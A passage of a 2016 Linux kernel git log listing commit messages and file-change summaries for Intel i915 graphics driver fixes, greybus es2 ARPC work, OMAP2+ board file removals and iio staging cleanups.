dev_priv->hotplug.poll_enabled with WRITE_ONCE in intel_hpd_poll_enable() - Add some comments about racing not mattering in intel_hpd_poll_enable Changes since v4: - Rename intel_hpd_poll_enable() to intel_hpd_poll_init() - Drop the bool argument from intel_hpd_poll_init() - Remove redundant calls to intel_hpd_poll_init() - Rename poll_enable_work to poll_init_work - Add some kerneldoc for intel_hpd_poll_init() - Cross-reference intel_hpd_poll_init() in intel_hpd_init() - Just copy the loop from intel_hpd_init() in intel_hpd_poll_init() Changes since v5: - Minor kerneldoc nitpicks Cc: stable@vger.kernel.org Cc: Ville Syrjälä Reviewed-by: Daniel Vetter Signed-off-by: Lyude Signed-off-by: Daniel Vetter drivers/gpu/drm/i915/i915_drv.c | 3 ++ drivers/gpu/drm/i915/i915_drv.h | 3 ++ drivers/gpu/drm/i915/intel_drv.h | 2 + drivers/gpu/drm/i915/intel_hotplug.c | 90 ++++++++++++++++++++++++++++----- drivers/gpu/drm/i915/intel_runtime_pm.c | 2 + 5 files changed, 88 insertions(+), 12 deletions(-) commit b236d7c8421969ac0693fc571e47ee5c2a62fb90 Author: Lyude Date: Tue Jun 21 17:03:43 2016 -0400 drm/i915/vlv: Disable HPD in valleyview_crt_detect_hotplug() One of the things preventing us from using polling is the fact that calling valleyview_crt_detect_hotplug() when there's a VGA cable connected results in sending another hotplug. With polling enabled when HPD is disabled, this results in a scenario like this: - We enable power wells and reset the ADPA - output_poll_exec does force probe on VGA, triggering a hpd - HPD handler waits for poll to unlock dev->mode_config.mutex - output_poll_exec shuts off the ADPA, unlocks dev->mode_config.mutex - HPD handler runs, resets ADPA and brings us back to the start This results in an endless irq storm getting sent from the ADPA whenever a VGA connector gets detected in the middle of polling. Somewhat based off of the "drm/i915: Disable CRT HPD around force trigger" patch Ville Syrjälä sent a while back Cc: stable@vger.kernel.org Cc: Ville Syrjälä Signed-off-by: Lyude Signed-off-by: Daniel Vetter drivers/gpu/drm/i915/i915_drv.h | 2 ++ drivers/gpu/drm/i915/intel_crt.c | 18 ++++++++++++++++++ drivers/gpu/drm/i915/intel_hotplug.c | 27 +++++++++++++++++++++++++++ 3 files changed, 47 insertions(+) commit 9504a89247595b6c066c68aea0c34af1fc78d021 Author: Lyude Date: Tue Jun 21 17:03:42 2016 -0400 drm/i915/vlv: Reset the ADPA in vlv_display_power_well_init() While VGA hotplugging worked(ish) before, it looks like that was mainly because we'd unintentionally enable it in valleyview_crt_detect_hotplug() when we did a force trigger. This doesn't work reliably enough because whenever the display powerwell on vlv gets disabled, the values set in VLV_ADPA get cleared and consequently VGA hotplugging gets disabled. This causes bugs such as one we found on an Intel NUC, where doing the following sequence of hotplugs: - Disconnect all monitors - Connect VGA - Disconnect VGA - Connect HDMI Would result in VGA hotplugging becoming disabled, due to the powerwells getting toggled in the process of connecting HDMI. Changes since v3: - Expose intel_crt_reset() through intel_drv.h and call that in vlv_display_power_well_init() instead of encoder->base.funcs->reset(&encoder->base); Changes since v2: - Use intel_encoder structs instead of drm_encoder structs Changes since v1: - Instead of handling the register writes ourself, we just reuse intel_crt_detect() - Instead of resetting the ADPA during display IRQ installation, we now reset them in vlv_display_power_well_init() Cc: stable@vger.kernel.org Acked-by: Daniel Vetter Signed-off-by: Lyude Reviewed-by: Ville Syrjälä [danvet: Rebase over dev_priv/drm_device embedding.] Signed-off-by: Daniel Vetter drivers/gpu/drm/i915/intel_crt.c | 2 +- drivers/gpu/drm/i915/intel_drv.h | 2 +- drivers/gpu/drm/i915/intel_runtime_pm.c | 7 +++++++ 3 files changed, 9 insertions(+), 2 deletions(-) commit 28cf71ce3e206db1c3f30b3da31e7b48b2269e4c Author: Lyude Date: Tue Jun 21 17:03:41 2016 -0400 drm/i915/vlv: Make intel_crt_reset() per-encoder This lets call intel_crt_reset() in contexts where IRQs are disabled and as such, can't hold the locks required to work with the connectors. Cc: stable@vger.kernel.org Cc: Ville Syrjälä Acked-by: Daniel Vetter Signed-off-by: Lyude Signed-off-by: Daniel Vetter drivers/gpu/drm/i915/intel_crt.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit 165a74ab1401ac3e2b6eb5b7084607b588734e09 Author: Johan Hovold Date: Thu Jul 14 12:55:00 2016 -0500 greybus: es2: fix arpc response lookups Fix arpc response lookups that were truncating the 16-bit response id to 8-bit, something which would have lead to all arpc calls timing out after the 256th request. Testing done: Enumerated and ejected a module on EVT2. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Signed-off-by: Alex Elder drivers/staging/greybus/es2.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit e818027c0b4e2573e2e63ca04480ce7972596eb2 Author: Viresh Kumar Date: Thu Jul 14 12:18:00 2016 -0500 greybus: es2: Fix 'make check' warnings with arpc This is what I got: greybus/es2.c:1130:29: warning: restricted __le16 degrades to integer greybus/es2.c:1140:22: warning: incorrect type in assignment (different base types) greybus/es2.c:1140:22: expected restricted __le16 [usertype] id greybus/es2.c:1140:22: got unsigned short [unsigned] [usertype] greybus/es2.c:1162:52: warning: incorrect type in argument 8 (different base types) greybus/es2.c:1162:52: expected unsigned short [unsigned] [usertype] size greybus/es2.c:1162:52: got restricted __le16 [usertype] size greybus/es2.c:1164:31: warning: restricted __le16 degrades to integer greybus/es2.c:1253:34: warning: incorrect type in argument 2 (different base types) greybus/es2.c:1253:34: expected unsigned char [unsigned] [usertype] id greybus/es2.c:1253:34: got restricted __le16 [usertype] id Signed-off-by: Viresh Kumar Reviewed-by: Johan Hovold Signed-off-by: Alex Elder drivers/staging/greybus/es2.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit fb7404e81555b670e44fed6a95c277fe0214f540 Author: Chris Wilson Date: Wed Jul 13 09:10:38 2016 +0100 drm/i915: Hide gen6_update_ring_freq() This function is no longer used outside of intel_pm.c so we can stop exposing it and rename the __gen6_update_ring_freq() to take its place. Suggested-by: Mika Kuoppala Signed-off-by: Chris Wilson Cc: Mika Kuoppala Reviewed-by: Mika Kuoppala Link: http://patchwork.freedesktop.org/patch/msgid/1468397438-21226-8-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/intel_drv.h | 1 - drivers/gpu/drm/i915/intel_pm.c | 18 ++++-------------- 2 files changed, 4 insertions(+), 15 deletions(-) commit b7137e0cf1e55b5b0cb88fbd85425a1bc0d24c3a Author: Chris Wilson Date: Wed Jul 13 09:10:37 2016 +0100 drm/i915: Defer enabling rc6 til after we submit the first batch/context Some hardware requires a valid render context before it can initiate rc6 power gating of the GPU; the default state of the GPU is not sufficient and may lead to undefined behaviour. The first execution of any batch will load the "golden render state", at which point it is safe to enable rc6. As we do not forcibly load the kernel context at resume, we have to hook into the batch submission to be sure that the render state is setup before enabling rc6. However, since we don't enable powersaving until that first batch, we queued a delayed task in order to guarantee that the batch is indeed submitted. v2: Rearrange intel_disable_gt_powersave() to match. v3: Apply user specified cur_freq (or idle_freq if not set). v4: Give in, and supply a delayed work to autoenable rc6 v5: Mika suggested a couple of better names for delayed_resume_work v6: Rebalance rpm_put around the autoenable task Signed-off-by: Chris Wilson Cc: Mika Kuoppala Cc: Ville Syrjälä Link: http://patchwork.freedesktop.org/patch/msgid/1468397438-21226-7-git-send-email-chris@chris-wilson.co.uk Reviewed-by: Mika Kuoppala drivers/gpu/drm/i915/i915_drv.c | 11 +-- drivers/gpu/drm/i915/i915_drv.h | 2 +- drivers/gpu/drm/i915/i915_gem.c | 3 + drivers/gpu/drm/i915/intel_display.c | 1 - drivers/gpu/drm/i915/intel_drv.h | 3 +- drivers/gpu/drm/i915/intel_pm.c | 136 +++++++++++++++++++++-------------- drivers/gpu/drm/i915/intel_uncore.c | 2 +- 7 files changed, 94 insertions(+), 64 deletions(-) commit 62e1baa128f98006261308182fe3006d66b1bf61 Author: Chris Wilson Date: Wed Jul 13 09:10:36 2016 +0100 drm/i915: Remove superfluous powersave work flushing Instead of flushing the outstanding enabling, remember the requested frequency to apply when the powersave work runs. Signed-off-by: Chris Wilson Cc: Ville Syrjälä Reviewed-by: Mika Kuoppala Link: http://patchwork.freedesktop.org/patch/msgid/1468397438-21226-6-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_debugfs.c | 30 ++------------------- drivers/gpu/drm/i915/i915_sysfs.c | 52 ++++++++++--------------------------- 2 files changed, 16 insertions(+), 66 deletions(-) commit 29ecd78d3b79746fc837b820accb062f6433d5fb Author: Chris Wilson Date: Wed Jul 13 09:10:35 2016 +0100 drm/i915: Define a separate variable and control for RPS waitboost frequency To allow the user finer control over waitboosting, allow them to set the frequency we request for the boost. This also them allows to effectively disable the boosting by setting the boost request to a low frequency. Signed-off-by: Chris Wilson Link: http://patchwork.freedesktop.org/patch/msgid/1468397438-21226-5-git-send-email-chris@chris-wilson.co.uk Reviewed-by: Mika Kuoppala drivers/gpu/drm/i915/i915_debugfs.c | 2 ++ drivers/gpu/drm/i915/i915_drv.h | 1 + drivers/gpu/drm/i915/i915_irq.c | 9 +++++---- drivers/gpu/drm/i915/i915_sysfs.c | 38 +++++++++++++++++++++++++++++++++++++ drivers/gpu/drm/i915/intel_pm.c | 5 ++++- 5 files changed, 50 insertions(+), 5 deletions(-) commit 99ac9612799475bdd4e3a7a0f0f40a93d6c9eaa6 Author: Chris Wilson Date: Wed Jul 13 09:10:34 2016 +0100 drm/i915: Move overclocking detection to alongside RPS frequency detection Move the overclocking max frequency detection alongside the regular frequency detection, before we expose the undefined value to userspace. Signed-off-by: Chris Wilson Reviewed-by: Mika Kuoppala Link: http://patchwork.freedesktop.org/patch/msgid/1468397438-21226-4-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/intel_pm.c | 24 +++++++++++++++--------- 1 file changed, 15 insertions(+), 9 deletions(-) commit 773ea9a801328b042eb6376cd4530292625a3de1 Author: Chris Wilson Date: Wed Jul 13 09:10:33 2016 +0100 drm/i915: Perform static RPS frequency setup before userspace As these RPS frequency values are part of our userspace interface, they must be established before that userspace interface is registered. Signed-off-by: Chris Wilson Reviewed-by: Mika Kuoppala Link: http://patchwork.freedesktop.org/patch/msgid/1468397438-21226-3-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/intel_pm.c | 98 +++++++++++++---------------------------- 1 file changed, 31 insertions(+), 67 deletions(-) commit 3a45b05c4517f36a65f63d53524c3edbe59e0827 Author: Chris Wilson Date: Wed Jul 13 09:10:32 2016 +0100 drm/i915: Preserve current RPS frequency across init Select idle frequency during initialisation, then reset the last known frequency when re-enabling. This allows us to preserve the user selected frequency across resets. v2: Stop CHV from overriding the user's choice in cherryview_enable_rps() Signed-off-by: Chris Wilson Cc: Ville Syrjälä Cc: Mika Kuoppala Reviewed-by: Mika Kuoppala Link: http://patchwork.freedesktop.org/patch/msgid/1468397438-21226-2-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/intel_pm.c | 46 ++++++++++++++++++----------------------- 1 file changed, 20 insertions(+), 26 deletions(-) commit b913b33c43db849778f044d4b9e74b167898a9bc Author: Chris Wilson Date: Wed Jul 13 09:10:31 2016 +0100 drm/i915: Flush GT idle status upon reset Upon resetting the GPU, we force the engines to be idle by clearing their request lists. However, I neglected to clear the GT active status and so the next request following the reset was not marking the device as busy again. (We had to wait until any outstanding retire worker finally ran and cleared the active status.) Fixes: 67d97da34917 ("drm/i915: Only start retire worker when idle") Testcase: igt/pm_rps/reset Signed-off-by: Chris Wilson Cc: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1468397438-21226-1-git-send-email-chris@chris-wilson.co.uk Reviewed-by: Joonas Lahtinen drivers/gpu/drm/i915/i915_gem.c | 3 +++ 1 file changed, 3 insertions(+) commit 3fef3a5be3caa0710fd29f8ba4d5f08ba8f6ecda Author: Matthew Auld Date: Tue Jul 5 13:00:19 2016 +0100 drm/i915: remove superfluous i915_gem_object_free_mmap_offset call This should already be handled by drm_gem_object_release, which is called later on. Cc: Chris Wilson Signed-off-by: Matthew Auld Reviewed-by: Chris Wilson Signed-off-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1467720019-31876-1-git-send-email-matthew.auld@intel.com drivers/gpu/drm/i915/i915_gem.c | 1 - 1 file changed, 1 deletion(-) commit bb10d4ec3be4b069bfb61c60ca4f708f58f440f1 Author: Ville Syrjälä Date: Tue Jul 12 15:00:37 2016 +0300 drm/i915: Ignore panel type from OpRegion on SKL Dell XPS 13 9350 apparently doesn't like it when we use the panel type from OpRegion. The OpRegion panel type (0) tells us to use use low vswing for eDP, whereas the VBT panel type (2) tells us to use normal vswing. The problem is that low vswing results in some display flickers. Since no one seems to know how this stuff is supposed to be handled, let's just ignore the OpRegion panel type on SKL for now. v2: Print the panel type correctly in the debug output Reported-by: James Bottomley Cc: James Bottomley Cc: drm-intel-fixes@lists.freedesktop.org References: https://lists.freedesktop.org/archives/intel-gfx/2016-June/098826.html Fixes: a05628195a0d ("drm/i915: Get panel_type from OpRegion panel details") Signed-off-by: Ville Syrjälä Link: http://patchwork.freedesktop.org/patch/msgid/1468324837-29237-1-git-send-email-ville.syrjala@linux.intel.com Reviewed-by: Daniel Vetter Tested-by: James Bottomley Signed-off-by: Ville Syrjälä drivers/gpu/drm/i915/intel_opregion.c | 11 +++++++++++ 1 file changed, 11 insertions(+) commit 019bf277634a13ba7bc409bde399ee676c096f33 Author: Tvrtko Ursulin Date: Wed Jul 13 16:03:41 2016 +0100 drm/i915: Pull out some more common engine init code Created two common helpers for engine setup and engine init phases respectively to help with code sharing. Signed-off-by: Tvrtko Ursulin Link: http://patchwork.freedesktop.org/patch/msgid/1468422221-12132-1-git-send-email-tvrtko.ursulin@linux.intel.com Reviewed-by: Chris Wilson drivers/gpu/drm/i915/intel_engine_cs.c | 47 +++++++++++++++++++++++++++++++++ drivers/gpu/drm/i915/intel_lrc.c | 17 +++--------- drivers/gpu/drm/i915/intel_ringbuffer.c | 18 +++---------- drivers/gpu/drm/i915/intel_ringbuffer.h | 3 +++ 4 files changed, 56 insertions(+), 29 deletions(-) commit 88d2ba2e95c85554e12b5a342bd93dbc2adf7546 Author: Tvrtko Ursulin Date: Wed Jul 13 16:03:40 2016 +0100 drm/i915: Move common engine setup into intel_engine_cs.c Common code deserves to be put in a separate file from legacy and execlists implementation for clarity and ease of maintenance. Signed-off-by: Tvrtko Ursulin Reviewed-by: Chris Wilson drivers/gpu/drm/i915/Makefile | 1 + drivers/gpu/drm/i915/intel_engine_cs.c | 162 ++++++++++++++++++++++++++++++++ drivers/gpu/drm/i915/intel_lrc.c | 138 +-------------------------- drivers/gpu/drm/i915/intel_lrc.h | 3 + drivers/gpu/drm/i915/intel_ringbuffer.h | 4 - 5 files changed, 168 insertions(+), 140 deletions(-) commit acd2784562ae506137575c31136bef34dc642a2e Author: Tvrtko Ursulin Date: Wed Jul 13 16:03:39 2016 +0100 drm/i915: Simplify intel_init_ring_buffer prototype Engine contains dev_priv so need to pass it in. Signed-off-by: Tvrtko Ursulin Reviewed-by: Daniel Vetter Reviewed-by: Chris Wilson drivers/gpu/drm/i915/intel_ringbuffer.c | 18 ++++++++---------- 1 file changed, 8 insertions(+), 10 deletions(-) commit c78d60613422504f625a118fb8bff5f52d7b1598 Author: Tvrtko Ursulin Date: Wed Jul 13 16:03:38 2016 +0100 drm/i915: Make more use of the shared engine irq setup Use more of the shared engine setup data for legacy engine initialization. This time to simplify the irq initialization code. Signed-off-by: Tvrtko Ursulin Reviewed-by: Chris Wilson drivers/gpu/drm/i915/intel_ringbuffer.c | 20 +++++--------------- 1 file changed, 5 insertions(+), 15 deletions(-) commit 8b3e2d36391716a6e9e707bcf0c0cf908ad85990 Author: Tvrtko Ursulin Date: Wed Jul 13 16:03:37 2016 +0100 drm/i915: Unify engine init loop With the unified common engine setup done, and the execlist engine initialization loop clearly split into two phases, we can eliminate the separate legacy engine initialization code. v2: Fix cleanup path for legacy. v3: Rename constructors. (Chris Wilson) Signed-off-by: Tvrtko Ursulin Reviewed-by: Daniel Vetter Reviewed-by: Chris Wilson drivers/gpu/drm/i915/i915_drv.h | 2 -- drivers/gpu/drm/i915/i915_gem.c | 51 +-------------------------------- drivers/gpu/drm/i915/intel_lrc.c | 45 ++++++++++++++++++----------- drivers/gpu/drm/i915/intel_lrc.h | 2 +- drivers/gpu/drm/i915/intel_ringbuffer.c | 45 ++++++++++------------------- drivers/gpu/drm/i915/intel_ringbuffer.h | 10 +++---- 6 files changed, 50 insertions(+), 105 deletions(-) commit bb45438f5e2eb339c16e1c3c0ebb8fe36dd55acf Author: Tvrtko Ursulin Date: Wed Jul 13 16:03:36 2016 +0100 drm/i915: Prepare for engine init unification Move the execlist engine setup to vfuncs so that the engine init loop is clearly split into the mode agnostic and specific steps. Signed-off-by: Tvrtko Ursulin Reviewed-by: Daniel Vetter Reviewed-by: Chris Wilson drivers/gpu/drm/i915/intel_lrc.c | 103 ++++++++++++++++++++------------------- 1 file changed, 54 insertions(+), 49 deletions(-) commit c2c7f240081da626ed9da6dc536306d2ad393c9a Author: Dave Gordon Date: Wed Jul 13 16:03:35 2016 +0100 drm/i915: unify first-stage engine struct setup intel_lrc.c has a table of "logical rings" (meaning engines), while intel_ringbuffer.c has separately open-coded initialisation for each engine. We can deduplicate this somewhat by using the same first-stage engine-setup function for both modes. So here we expose the function that transfers information from the static table of (all) known engines to the dev_priv->engine array of engines available on this device (adjusting the names along the way) and then embed calls to it in both the LRC and the legacy-mode setup. Signed-off-by: Dave Gordon Reviewed-by: Chris Wilson Signed-off-by: Tvrtko Ursulin drivers/gpu/drm/i915/intel_lrc.c | 40 +++++++++++++++++++++------------ drivers/gpu/drm/i915/intel_ringbuffer.c | 40 +++++++++------------------------ drivers/gpu/drm/i915/intel_ringbuffer.h | 5 +++++ 3 files changed, 41 insertions(+), 44 deletions(-) commit 12ce523147e485fc605599f7ec94fbbc6be0fc01 Author: Vaibhav Agarwal Date: Tue Jul 12 04:56:00 2016 -0500 greybus: audio: Maintain proper codec state during shutdown sequence. During shutdown sequence, in case all modules are already removed, codec state is not updated. Though it's not causing any harm for now, but it's good to maintain proper codec state. Fix this. Signed-off-by: Vaibhav Agarwal Reviewed-by: Mark Greer Signed-off-by: Alex Elder drivers/staging/greybus/audio_codec.c | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) commit cf1caac6cd7c1fa25de304925f6b239380797a46 Author: Vaibhav Agarwal Date: Tue Jul 12 04:56:00 2016 -0500 greybus: audio: Fix incorrect codec state modification In case module is removed dynamically with ongoing playback, during module cleanup codec state is mistakenly modified. State should be modified for module only. Fix this. Fixes: 76414cb499b7 ("audio: Use single codec driver registration") Signed-off-by: Vaibhav Agarwal Reviewed-by: Mark Greer Signed-off-by: Alex Elder drivers/staging/greybus/audio_codec.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 34873949885ad66f9bc6ad6baff78aed4846c092 Author: Johan Hovold Date: Wed Jul 13 09:34:00 2016 -0500 greybus: es2: fix arpc return value ARPC should return 0 on success, but instead was returning the number of jiffies left until the timeout. This caused cport_reset() to report an error and an incorrect error message to be printed when disabling a connection. Reported-by: Alex Elder Signed-off-by: Johan Hovold Tested-by: Alex Elder Signed-off-by: Alex Elder drivers/staging/greybus/es2.c | 2 ++ 1 file changed, 2 insertions(+) commit 035ea405c91e2dc89325a79129cf9af2b9c2ae8e Author: Ville Syrjälä Date: Tue Jul 12 19:24:47 2016 +0300 drm/i915: Unbreak interrupts on pre-gen6 Prior to gen6 we didn't have per-ring IMR registers, which means that since commit 61ff75ac20ff ("drm/i915: Simplify enabling user-interrupts with L3-remapping") we're now masking off all interrupts when init_render_ring() gets called. That's rather rude. Let's limit the ring IMR frobbing to machines that actually have the per-ring IMR registers. Cc: Chris Wilson Cc: Tvrtko Ursulin Fixes: 61ff75ac20ff ("drm/i915: Simplify enabling user-interrupts with L3-remapping") Signed-off-by: Ville Syrjälä Link: http://patchwork.freedesktop.org/patch/msgid/1468340687-3596-1-git-send-email-ville.syrjala@linux.intel.com Reviewd-by: Chris Wilson drivers/gpu/drm/i915/intel_ringbuffer.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 8d35acba25daa4aaccd1d2f430f82192a8d444a9 Author: Chris Wilson Date: Tue Jul 12 12:55:29 2016 +0100 drm/i915: Provide argument names for static stubs Make sure we keep kbuilder happy in all of its random configs by providing argument names for compile-time stubs. In file included from drivers/gpu/drm/i915/intel_dp_mst.c:27:0: drivers/gpu/drm/i915/i915_drv.h: In function 'i915_debugfs_register': >> drivers/gpu/drm/i915/i915_drv.h:3612:48: error: parameter name omitted static inline int i915_debugfs_register(struct drm_i915_private *) {return 0;} ^~~~~~~~~~~~~~~~ drivers/gpu/drm/i915/i915_drv.h: In function 'i915_debugfs_unregister': drivers/gpu/drm/i915/i915_drv.h:3613:51: error: parameter name omitted static inline void i915_debugfs_unregister(struct drm_i915_private *) {} Reported-by: 0day Signed-off-by: Chris Wilson Reviewed-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1468324529-20461-1-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_drv.h | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 4f074a5393431a7d2cc0de7fcfe2f61d24854628 Author: Chris Wilson Date: Mon Jul 11 14:46:17 2016 +0100 drm/i915: Update ifdeffery for mutex->owner In commit 7608a43d8f2e ("locking/mutexes: Use MUTEX_SPIN_ON_OWNER when appropriate") the owner field in the mutex was updated from being dependent upon CONFIG_SMP to using optimistic spin. Update our peek function to suite. Fixes:7608a43d8f2e ("locking/mutexes: Use MUTEX_SPIN_ON_OWNER...") Reported-by: Hong Liu Signed-off-by: Chris Wilson Link: http://patchwork.freedesktop.org/patch/msgid/1468244777-4888-1-git-send-email-chris@chris-wilson.co.uk Reviewed-by: Matthew Auld drivers/gpu/drm/i915/i915_gem_shrinker.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 1b290f97c8d9a8fb31aa07208c37e4d964b835b4 Author: Chris Wilson Date: Sat Jul 9 10:12:14 2016 +0100 drm/i915: Remove temporary RPM wakeref assert disables Now that the last couple of hacks have been removed from the runtime powermanagement users, we can fully enable the asserts by preventing the temptation to disable them when our code is buggy. Signed-off-by: Chris Wilson Link: http://patchwork.freedesktop.org/patch/msgid/1468055535-19740-11-git-send-email-chris@chris-wilson.co.uk Reviewed-by: Mika Kuoppala drivers/gpu/drm/i915/intel_drv.h | 7 ------- 1 file changed, 7 deletions(-) commit c14118a8411c4d7ad1dd6dd501beb33ae1268b08 Author: Alexandre Bailon Date: Thu Jul 7 07:41:00 2016 -0500 greybus: es2: Implement APBridgeA RPC (ARPC) Implement ARPC. In first time, we are going to use it to implement new request but the goal is to update all existing vendor request to use ARPC. In addition, Convert the current USB Vendor request for CPort Reset to ARPC so that we can be sure that the port has been fully reset by the time the request completes. Testing Done: AP can reset APBA Cports by using the ARPC command. In addition, tested with a hacked firmware that cause error during the Cport reset, and Greybus printed the error "failed to reset cport". Signed-off-by: Alexandre Bailon Reviewed-by: Johan Hovold Signed-off-by: Alex Elder drivers/staging/greybus/es2.c | 203 ++++++++++++++++++++++++++-- drivers/staging/greybus/greybus_protocols.h | 32 +++++ 2 files changed, 226 insertions(+), 9 deletions(-) commit 9d9d3777a9db5c0773d270e51b65c1252856d95e Author: Alexandre Bailon Date: Thu Jul 7 07:41:00 2016 -0500 greybus: es2: Add a new bulk in endpoint for APBridgeA RPC Add a new bulk in endpoint in order to get RPC status from APbridgeA without to have to poll on control endpoint. So the new endpoint layout is: EP0: control EP EP1 and EP2: muxed endpoints (bulk in and out) EP3 to EP14: direct muxed endpoints (bulk in and out) EP15: ARPC bulk in endpoint Note: This patch is allocating ARPC URBs but does nothing with them. The following patch will use them. Testing Done: Tested with an APBridgeA enumerating 16 endpoints. Kernel doesn't print Not enough endpoints found in device, aborting! Signed-off-by: Alexandre Bailon Reviewed-by: Johan Hovold Signed-off-by: Alex Elder drivers/staging/greybus/es2.c | 140 ++++++++++++++++++++++++++++++++++++++++-- 1 file changed, 136 insertions(+), 4 deletions(-) commit c96156138284a44e0a96b4e163a68bdeefc05735 Author: Chris Wilson Date: Sat Jul 9 10:12:06 2016 +0100 drm/i915: Kick hangcheck from retire worker Let's ensure that we cannot run indefinitely without the hangcheck worker being queued. We removed it from being kicked on every request because we were kicking it a few millions times in every hangcheck interval and only once is necessary! However, that leaves us with the issue of what if userspace never waits for a request, or runs out of resources, what if userspace just issues a request then spins on BUSY_IOCTL? Testcase: igt/gem_busy Signed-off-by: Chris Wilson Cc: Tvrtko Ursulin Link: http://patchwork.freedesktop.org/patch/msgid/1468055535-19740-3-git-send-email-chris@chris-wilson.co.uk Reviewed-by: Mika Kuoppala drivers/gpu/drm/i915/i915_gem.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 232af392fdb52aa2739dad4e03fed273b3c3f24a Author: Chris Wilson Date: Sat Jul 9 10:12:05 2016 +0100 drm/i915/breadcrumbs: Queue hangcheck before sleeping Never go to sleep waiting on the GPU without first ensuring that we will get woken up. We have a choice of queuing the hangcheck before every schedule() or the first time we wakeup. In order to simply accommodate both the signaler and the ordinary waiter, move the queuing to the common point of enabling the irq. We lose the paranoid safety of ensuring that the hangcheck is active before the sleep, but avoid code duplication (and redundant hangcheck queuing). Testcase: igt/prime_busy Fixes: c81d46138da6 ("drm/i915: Convert trace-irq to the breadcrumb waiter") Signed-off-by: Chris Wilson Cc: Tvrtko Ursulin Link: http://patchwork.freedesktop.org/patch/msgid/1468055535-19740-2-git-send-email-chris@chris-wilson.co.uk Reviewed-by: Mika Kuoppala drivers/gpu/drm/i915/i915_gem.c | 9 --------- drivers/gpu/drm/i915/intel_breadcrumbs.c | 9 +++++++++ 2 files changed, 9 insertions(+), 9 deletions(-) commit e92fc4f04a34a407f5ff8acaa13127c62b7bec07 Author: Tony Lindgren Date: Wed Jun 15 01:28:59 2016 -0700 ARM: OMAP2+: Drop legacy board file for LDP Let's drop the last two remaining omap3 legacy boot board files. Let's only use the device tree based booting known to work for these two boards. We still have two omap3 boards booting in legacy mode in addition to device tree based booting. All the other ten or so omap2+ SoCs have been booting using device tree mode only for years now. This has allowed us to get rid of quite a bit of arch/arm/mach-omap2 related platform init code in favor of dts and driver changes. Pretty much the only remaining known users for omap3 legacy boot board files are Kevin's and Russell's boot test systems, and N900 kernel tree maintained by Pali and Ivaylo. And all of them are also supporting the device tree based booting. The legacy booting mode has been kept around mostly to verify against regressions. As there is still a slim chance of possible other uses of the mainline kernel for these boards, let's just drop the board files for v4.8, and let's not touch the related platform init code until around v4.9 time if no issues are found. This makes it trivial for us to add back the board files with a simple revert. Signed-off-by: Tony Lindgren arch/arm/mach-omap2/Kconfig | 6 - arch/arm/mach-omap2/Makefile | 1 - arch/arm/mach-omap2/board-ldp.c | 430 ---------------------------------------- 3 files changed, 437 deletions(-) commit 9b7141d01a76c4cb19159dedb9d3470a5df352c9 Author: Tony Lindgren Date: Wed Jun 15 01:15:44 2016 -0700 ARM: OMAP2+: Drop legacy board file for n900 Let's drop the last two remaining omap3 legacy boot board files. Let's only use the device tree based booting known to work for these two boards. We still have two omap3 boards booting in legacy mode in addition to device tree based booting. All the other ten or so omap2+ SoCs have been booting using device tree mode only for years now. This has allowed us to get rid of quite a bit of arch/arm/mach-omap2 related platform init code in favor of dts and driver changes. Pretty much the only remaining known users for omap3 legacy boot board files are Kevin's and Russell's boot test systems, and N900 kernel tree maintained by Pali and Ivaylo. And all of them are also supporting the device tree based booting. The legacy booting mode has been kept around mostly to verify against regressions. As there is still a slim chance of possible other uses of the mainline kernel for these boards, let's just drop the board files for v4.8, and let's not touch the related platform init code until around v4.9 time if no issues are found. This makes it trivial for us to add back the board files with a simple revert. Acked-By: Sebastian Reichel Acked-by: Aaro Koskinen Acked-by: Pali Rohár Signed-off-by: Tony Lindgren arch/arm/mach-omap2/Kconfig | 6 - arch/arm/mach-omap2/Makefile | 3 - arch/arm/mach-omap2/board-rx51-peripherals.c | 1312 -------------------------- arch/arm/mach-omap2/board-rx51-video.c | 67 -- arch/arm/mach-omap2/board-rx51.c | 141 --- arch/arm/mach-omap2/board-rx51.h | 11 - 6 files changed, 1540 deletions(-) commit e15d11ea550eb7e0e3164a8e8b0fe04588194fde Merge: 79cdad3 f8e0db9 Author: Tony Lindgren Date: Sun Jul 10 23:47:12 2016 -0700 Merge remote-tracking branch 'peter/peter/for-4.8_omapdss_part1' into omap-for-v4.8/legacy commit f6127704320f70993a68abf6d17c89df461580a7 Author: Peter Meerwald-Stadler Date: Tue Jul 5 13:55:44 2016 +0200 staging: iio: isl29028: Prefix functions Signed-off-by: Peter Meerwald-Stadler Signed-off-by: Jonathan Cameron drivers/staging/iio/light/isl29028.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit b9b689c12794bbe9605ff906da23a4e8a97ecebe Author: Peter Meerwald-Stadler Date: Tue Jul 5 13:55:43 2016 +0200 staging: iio: isl29028: Expose scale and sample frequency available without comma Signed-off-by: Peter Meerwald-Stadler Signed-off-by: Jonathan Cameron drivers/staging/iio/light/isl29028.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit bafaa6debe9621f3afb305b6bd960d89e88eed8a Author: Peter Meerwald-Stadler Date: Tue Jul 5 13:55:42 2016 +0200 staging: iio: isl29028: Prefix stuff Signed-off-by: Peter Meerwald-Stadler Signed-off-by: Jonathan Cameron drivers/staging/iio/light/isl29028.c | 32 ++++++++++++++++---------------- 1 file changed, 16 insertions(+), 16 deletions(-) commit 3a37f1c259f7150ea9a8896f165191ac7427126e Author: Peter Meerwald-Stadler Date: Tue Jul 5 13:55:41 